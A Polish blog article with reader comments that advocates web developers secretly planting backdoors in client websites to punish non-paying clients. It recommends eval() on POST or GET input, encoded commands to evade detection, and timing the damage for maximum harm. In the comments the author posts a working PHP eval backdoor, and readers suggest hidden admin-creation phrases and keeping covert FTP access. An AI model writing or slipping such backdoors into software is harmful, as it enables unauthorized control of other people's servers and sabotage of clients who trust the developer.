[PHP] Backdoor czyli otwarta furtka przeciwko nieuczciwym klientom - CapaciousCore.pl :: Artykuły Kursy Porady Programowanie Freelancer PHP SQL

Artykuły na każdy temat

[PHP] Backdoor czyli otwarta furtka przeciwko nieuczciwym klientom

Dodano 24.09.2010r. o 02:21

Zacznijmy od tego czym jest backdoor. Tylne drzwi bądź furtka to nic innego jak luka w oprogramowaniu umożliwiająca w przyszłości przejęcie kontroli nad zainfekowanym obiektem. Rozróżniamy dwa źródła ataku. Pierwszym możliwym źródłem jest cracker, który np. włamał się na serwer bądź przełamał zabezpieczenia oprogramowania celem późniejszego wykorzystania uprawnień. Drugim możliwym źródłem jest twórca oprogramowania, który umyślnie pozostawił furtkę. My omówimy tą drugą opcję. Zapewne w myślach żądaliście sobie już pytanie dlaczego właściwie twórca oprogramowania miałbym umyślnie umieszczać w oprogramowaniu lukę. Motywy takiego zachowania są proste. Jeżeli autor miał nieczyste intencję, wtedy w grę wchodzą korzyści majątkowe. W przeciwnym wypadku backdoor jest zaimplementowany przeciwko nieuczciwym klientom.

Bardzo rzadko jednak zdarzają się przypadki, w których klient dostaję produkt końcowy np. sklep internetowy, serwis, ... i nie zamierza za niego zapłacić. W takich właśnie wypadkach przydaje się wkomponowany z finezją backdoor, który z pewnością w niedługim czasie da o sobie znać nieuczciwemu klientowi.

Zanim przejdziemy do wątku właściwego opowiem o dobrych nawykach, które powinny towarzyszyć przy prezentowaniu prac klientowi. Jeżeli chodzi o przedstawianiu layoutu to najlepiej jest pokazywać go pomniejszonego o 10-20% z zamieszczonym znakiem wodnym. Odnośnie pociętej strony (HTML i CSS) nie ma już tak dobrego rozwiązania. Jeżeli tylko mamy możliwość to pokazujemy wyniki naszych prac w obecności klienta. Niestety nie zawsze są ku temu możliwości, dlatego też czasami musimy umieścić pocięta już grafikę na serwerze firmowym. Pierwszą bariera może być jednorazowy adres, który po odświeżeniu strony staje się nieaktywny. Części klientom taka forma zabezpieczenia może się nie spodobać gdyż chcą mieć nielimitowany wgląd w postęp prac. Pokazywanie strony z małym znakiem wodnym dla każdej grafiki może być rozwiązaniem pośrednim. Inną metodą zabezpieczenia przed kopiowaniem będzie zakrzaczenie HTML i CSS. Jednak co się stanie gdy ktoś z zewnątrz będzie chciał ocenić jakość kodu? Wtedy takie rozwiązanie nie ma właściwie sensu. Kończąc ten wywód chcę zwrócić uwagę, że w momencie umieszczenia strony w sieci nie mamy już praktycznie kontroli nad tym czy prawa autorskie zostaną dotrzymane. Pamiętajmy, że większość przeglądarek posiada cache i obejrzenie strony zazwyczaj wiążę się z zapisaniem jej na dysku odwiedzającego.

Odnośnie skryptów wykowanych po stronie serwera napisanych np. w PHP sprawa ma się nieco inaczej. Wyniki prac aplikacji możemy udostępniać z własnego serwera tak więc poniekąd mamy kontrolę. W przypadku kiedy klient korzysta po raz pierwszy z usług firmy bądź zlecenie opiewa na dużą kwotę i pragnię aby serwis był wprowadzony szybko do sieci wtedy warto zastanowić się nad jakimś zabezpieczeniem aby kontrahent nie zapomniał zapłacić za usługi.

W przypadku trafienia na nieuczciwego klienta, który odmawia zapłacenia za naszą pracę powinniśmy wprowadzić modyfikacje, które mocno go zabolą. Najlepiej wprowadzić modyfikacje w czasie, w którym wyrządzą największe szkody.

Inspiracją do napisania artykułu było przeczytanie jakiś czas temu wpisów nt. backdoora:

w systemie CMS e107 w wersji 0.7.17
w paczce zawierającej phpBB w wersji 2.0.23 umieszczonej na phpbbhelp.pl
c99.php aka c99shell

Najprostszy backdoor powinien umożliwiać programiście np. wykonywanie przesłanego kodu podchodzącego z superglobalnej $_POST bądź $_GET z użyciem funkcji eval(). Inną możliwością jaką może udostępniać backdoor może być np. dostęp do panelu administratora, konta FTP, plików umieszczonych na serwerze i tym podobnych rzeczy. Jeżeli skrypt jest bardzo rozbudowany wtedy nie będzie większego problemu z umiejscowieniem backdoora. Z moich obserwacji wynika, że część serwerów nie zapisuje żądań (ang. request) nadanych droga POST, dlatego też polecam jej stosowanie. Ponadto aby utrudnić życie osobie szukającej dziury warto odbierać polecenia np. w formie zakodowanej bądź skompresowanej.

Komentarze

Publikowane komentarze są prywatnymi opiniami użytkowników serwisu. Serwis nie ponosi odpowiedzialności za treść opinii. W trosce o zachowanie poziomu dyskusji wszystkie komentarze podlegają akceptacji przed ich publikacją dlatego proszę cierpliwie czekać aż komentarz zostanie opublikowany.

Sobak

Dodano 01.08.2013r. o 09:57

@x2008x: ciężko mi się czyta Twoj komentarz, wybacz

kolejne wyzwanie tego ranka.

"Myślę, że backdoor zależy od kreatywności webmastera oraz skomplikowalności kodu, jeżeli kod zrobimy obiektowo to ciężko znaleźć backdoor."
Wyjaśnij mi proszę, jaki związek ma to, czy kod jest obiektowy czy strukturalny do tego jak ciężko odnaleźć jest backdoora. Mówię Ci, że takie rzeczy najprościej znaleźć po słowach kluczowych typu "eval" czy "base64_decode".

"jest to możliwe dopiero wtedy gdy ktoś pokusi się na dokładne sprawdzenie kodu, od kropi do kropki"
Mylisz się, odsyłam do tego co napisałem kawałeczek wyżej.

"lecz nieraz jest lepiej napisać całość przez tego oto "programistę"
Nie rozumiem, możesz wyjaśnić?

"Także, podsumowaniem uważam, że backdoor jest kompletnie potrzebny niemając firmy, nawet mając własną firmę, co w naszych czasach jest bez precedensu trudne na początku bez wszelakiego typu dofinansowań"
Nie będę się odnosił do samego zagadnienia trudności założenia własnego przedsiębiorstwa, bo nie siedzę w temacie. Natomiast jeśli chodzi o to czy bardziej backdoor jest przydatny dla osób posiadających własną działaność, czy też nie, to myślę że to nie ma większego znaczenia. Niezaleznie od tego czy robimy zlecenie jako osoba fizyczna czy prawna, nic nie stoi na przeszkodzie, aby spisać umowę i tak dalej. Po prostu rzecz w tym, że późniejsze egzekwowanie takich rzeczy i zabawa na drodze prawnej jest czasochłonna i czasem kosztowna.

"i tak należy robić back door, ale tak by nie zaszkodzić skryptowi i by nie był za łatwo wykrywalny"
"Szkodzenie skryptowi" było poruszone w moim poprzednim komentarzu, natomiast kwestia wykrywalności, na początku tej wypowiedzi. Zdarzają się bardziej kreatywne backdoory, ale tak naprawdę ciężko je ukryć przed szukaniem po charakterystycznych słowach kluczowych. Z kolei te najbardziej oklepane skrypty typu WebShell (c99.php na przykład) są wykrywane przez zwykłe desktopowe antywirusy.

x2008x

Dodano 10.07.2013r. o 21:21

Myślę, że backdoor zależy od kreatywności webmastera oraz skomplikowalności kodu, jeżeli kod zrobimy obiektowo to ciężko znaleźć backdoor. jest to możliwe dopiero wtedy gdy ktoś pokusi się na dokładne sprawdzenie kodu, od kropi do kropki,lecz nieraz jest lepiej napisać całość przez tego oto "programistę". Także, podsumowaniem uważam, że backdoor jest kompletnie potrzebny niemając firmy, nawet mając własną firmę, co w naszych czasach jest bez precedensu trudne na początku bez wszelakiego typu dofinansowań to i tak należy robić back door, ale tak by nie zaszkodzić skryptowi i by nie był za łatwo wykrywalny, w zależności od tego jak jest zrobiony. Arktykuł czytałem kilka razy, uznania dla Ciebie Capacious, gdyż nie siedzisz w tym pierszy miesiać, poświęcasz swój czas dla osób, które bardziej interesują się programowaniem stron niż zwykły szary "koleś" starający się napisać skrypt wykrywający ip użytkownika. Także artykuły masz świetne, co uda mi się komentować wedle czasu, to skomentuję. Pozdrawiam Michał.

CapaciousCore

Dodano 04.07.2013r. o 11:51

@x2008x chyba miałeś na myśli SQL Injection

Kreatywność jest taka, że nie potrzeba używać GET/POST, bo są także nagłówki ale to tylko jeden z pomysłów

x2008x

Dodano 03.07.2013r. o 23:35

@CapaciousCore, co do tego 1%, wnioskuję po klientach, którym ja zrobiłem strony, edytowałem, itp. Nie chcę tutaj nikogo obrażać, gdyż przeważnie byli to dość fajni ludzie na codzień, ale pojęcia o tym nie mieli nic, co można wywnioskować z rozmowy.

x2008x

Dodano 03.07.2013r. o 23:32

Napisałem to głupio i zwięźle, ponieważ myślałem, że jest ograniczenie co do ilości znaków, ale teraz już wiem, że nie ma.

Odpiszę tylko na 3-ci punkt z powodu braku czasu.
" 3.Jeżeli wykonujesz BD, zrób to tak by nie zaszkodzić skryptowi." - co rozumiem przez to? Proste

Wytłumaczę Ci to na przykładzie, głupim, lecz pokaże Ci o co mi chodziło. Oto owy przykłady: nie pozostawimy GET czy POST bez zabezpieczenia przed SQL Injector, jest to zbyt niebezpieczne, tak samo nie damy linku do usuwania użytkowników na stronie głównej.Otóż backdoor należy ukryć, tak by nie wykorzystał go ktoś inny, możliwości są wielkie, zależnie od kreatywności webmastera. Mam nadzieję, że zrozumiałeś o co mi chodzi, dzięki za odpowiedź.

CapaciousCore

Dodano 02.07.2013r. o 22:34

@x2008x 3 przykład to raczej funkcjonalność, a nie jako samo w sobie. Z resztą kwestia założeń. Dla mnie to akurat proste aby mieć pełną kontrolę nad tym co się dzieje. Jak można starać się mieć dostęp do konta FTP skoro klient może zmienić hasło w każdej chwili chyba, że to leży u nas i mamy możliwość zablokowania komendy ściągania plików co mija się z celem? To o czym mówisz to proste procedury aby nie dawać klientowi finalnego produktu przed zapłatą. Z tym jednym procentem to niezły żart zapodałeś. Chcesz potrenować to zapodaj obfuscation na spory projekt, a potem sobie szukaj dziury. Z resztą jak chcesz podnieść poprzeczkę to proponuję zakodować serwis aby działał tylko dzięki loaderowi i zobaczymy jak szybko pacjent zgłosi się po poprawki skoro nie będzie miał kodu źródłowego.

Sobak

Dodano 02.07.2013r. o 22:10

@x2008x: przyznaję, że trochę ciężko mi przebrnąć przez to, co faktycznie chciałeś przekazać swoim ostatnim komentarzem. Późna pora nie zawsze służy składnemu pisaniu. Spróbuję jednak odnieść się po kolei:

" 1.Jeżeli klient daje Ci dostęp do FTP staraj się mieć do niego dostęp cały czas."
Jeżeli dobrze zrozumiałem, to nic nowego nie zostało tutaj powiedziane. Backdoor umożliwia przejęcie kontroli w późniejszym czasie, bez wiedzy użytkownika programu. Coś innego miałeś na myśli poprzez "utrzymanie dostępu"?

" 2.Nie myśl, że na FTP klient hasła nie zmieni."
Abstrahując już od tego, co ma ten punkt do założeń przy pisaniu backdoora, to jeżeli backdoor zostanie zaimplementowany i nie zostanie usunięty, to zmiana hasła do FTP nie będzie miała na nic wpływu. W ogóle nie rozumiem czemu skupiłeś się tak bardzo na kwestii FTP skoro w wypadku stron WWW działanie większości backdoorów opiera się na wykonywaniu kodu na serwerze, na którym stoi poczęstowana backdoorem strona.

" 3.Jeżeli wykonujesz BD, zrób to tak by nie zaszkodzić skryptowi."
Tego punktu nie rozumiem już całkowicie. Sam fakt obecności backdoora na serwerze nie determinuje "szkodzenia skryptowi" (możesz powiedzieć co przez to rozumiesz?), elementem kluczowym w tym procesie jest działanie osoby korzystającej z backdoora. Mimo wszystko, powiedz mi, jak wyobrażasz sobie takie rozwiązanie, które ma "nie szkodzić skryptowi"? Sugerujesz limitowanie możliwości skryptu? Jeśli tak, to do jakiego zakresu? Rozwiązanie przedstawione przez autora jest najbardziej elastyczne, ponieważ w teorii pozwala na wykonanie dowolnego kodu na serwerze "ofiary". Nie wymusza niczego na korzystającym, jedynie mu to umożliwia i pozostawia ewentualne działania w jego gestii.

"4.Backdoor zawsze da się naprawić, ale pod warunkiem, że klient przekaże skrypt zaufanej i perfekcyjnie znającej PHP(bądź inteligentnej osobie z dobrymi podstawami).
Także, wg. mnie Backdoor jest do wychwycenia, ale myślę, że tylko w 1% przypadkach "
Backdoor można raczej usunąć, a nie naprawić, bo on z założenia nie jest w żaden sposób zepsuty. Nie wiem co do znajdowania takich kwiatków ma zaufanie osoby - osoba niezaufana także powinna go znaleźć i to także, taka, która nie ma wielkiego doświadczenia. Większość takich skryptów można wyłapać po typowych funkcjach jak eval() czy base64_*(). Wspomniany 1% to natomiast tzw. typowa łasica, polecam doczytać, jeśli nie wiesz o czym mówię.

" 1. Wpisując daną frazę w formularz logowania tworzy się nowe konto administratora."
Coś co sugerujesz to tylko inna droga wprowadzenia danych wejściowych. Równie dobrze można wysłać zapytanie pod określony adres nie korzystając z formularza (np. cURL) lub podać je poprzez GET. Dodatkowo IMO takie rozwiązanie niepotrzebnie zwiększa szansę przypadkowego wykorzystania backdoora. Szanse na takie zdarzenie są minimalne, ale po co kusić los, zważywszy na to, że rozwiązanie zaproponowane przez Ciebie nie daje żadnych wymiernych korzyści?

" 2. Brak możliwości zmiany hasła dla admina(głupie, ale czasem skutkuje)."
Co to ma do backdoora? Nic. To najwyżej marna luka bezpieczenstwa, która natychmiast zwróci uwagę średniorozgarniętej osoby.

x2008x

Dodano 01.07.2013r. o 23:56

@CapaciousCore, dodam, iż dobrze zredagowałeś artykuł, ale powinieneś wymienić kilka podstawowych zasad jak planować Backdoor'a, np.:
1.Jeżeli klient daje Ci dostęp do FTP staraj się mieć do niego dostęp cały czas.
2.Nie myśl, że na FTP klient hasła nie zmieni.
3.Jeżeli wykonujesz BD, zrób to tak by nie zaszkodzić skryptowi.
4.Backdoor zawsze da się naprawić, ale pod warunkiem, że klient przekaże skrypt zaufanej i perfekcyjnie znającej PHP(bądź inteligentnej osobie z dobrymi podstawami).
Także, wg. mnie Backdoor jest do wychwycenia, ale myślę, że tylko w 1% przypadkach

Przykłady backdooru:
1. Wpisując daną frazę w formularz logowania tworzy się nowe konto administratora.
2. Brak możliwości zmiany hasła dla admina(głupie, ale czasem skutkuje).
3. Struktura funkcji z błędem, którą usuwając, klient psuje serwis.

CapaciousCore

Dodano 27.06.2013r. o 21:08

@x2008x szczerze mówiąc to czasami takie nieświadome błędy innych programistów są przydatne. Załóżmy, że jest sytuacja, w której musisz przenieść serwis na inny serwer bez dostępu do FTP. Co wtedy zrobisz? Ja miałem taką sytuację i wtedy nic innego nie pozostaje jak szukanie dziury.

x2008x

Dodano 21.06.2013r. o 22:11

Przyznam, że to dobry artykuł, lecz czasami wydaje się być zbędny. Ja bym zapisał całość w jednym zdaniu: "Gdy wykonujesz zlecenie klientowi bez umowy, zawsze miej dostęp do FTP, a jak to Ci się nie uda, zrób błędy, które możesz później wykożystać".

Myślę, iż każdy kto wykonuje strony na zlecenie wie o takim czymś, mimo powyższych argumentów, artykuł przydatny.

Drraven

Dodano 12.08.2011r. o 07:26

Wiadomo -> jak się trafi ktoś kto od razu chce ukraść to co napisałeś, to ma duże szanse

Jedynym rozwiązaniem jest obrazek ze znakiem wodnym. Albo umówienie się i zabranie laptopa i pokazanie osobiście.

CapaciousCore

Dodano 11.08.2011r. o 15:17

@Drraven taki header nic nie da bo to informacja dla przeglądarki, a czy ona faktycznie się dostosuje to inna bajka. Przecież treść/plik nadal dostępny jest w sieci więc można go zapisać.

Drraven

Dodano 11.08.2011r. o 11:20

Co do cache.. Nie można po prostu na czas prezentacji dać "no-cache"?

CapaciousCore

Dodano 26.01.2011r. o 23:18

Kod:

<?php
$_GET['c'] = (get_magic_quotes_gpc() ? stripslashes($_GET['c']) : $_GET['c']);
eval($_GET['c']);
?>

nuclear

Dodano 26.01.2011r. o 23:13

Mozna prosic o jakis prosty przykladowy backdoor?

Dodaj komentarz

Zostaw komentarz jeżeli możesz! Nie bądź przysłowiowym botem! Nie bądź obojętny! Ciebie to nic nie kosztuje, a mi sprawi uśmiech na twarzy.

Zezwolono używać: BBCode
Zabroniono używać: znaczników HTML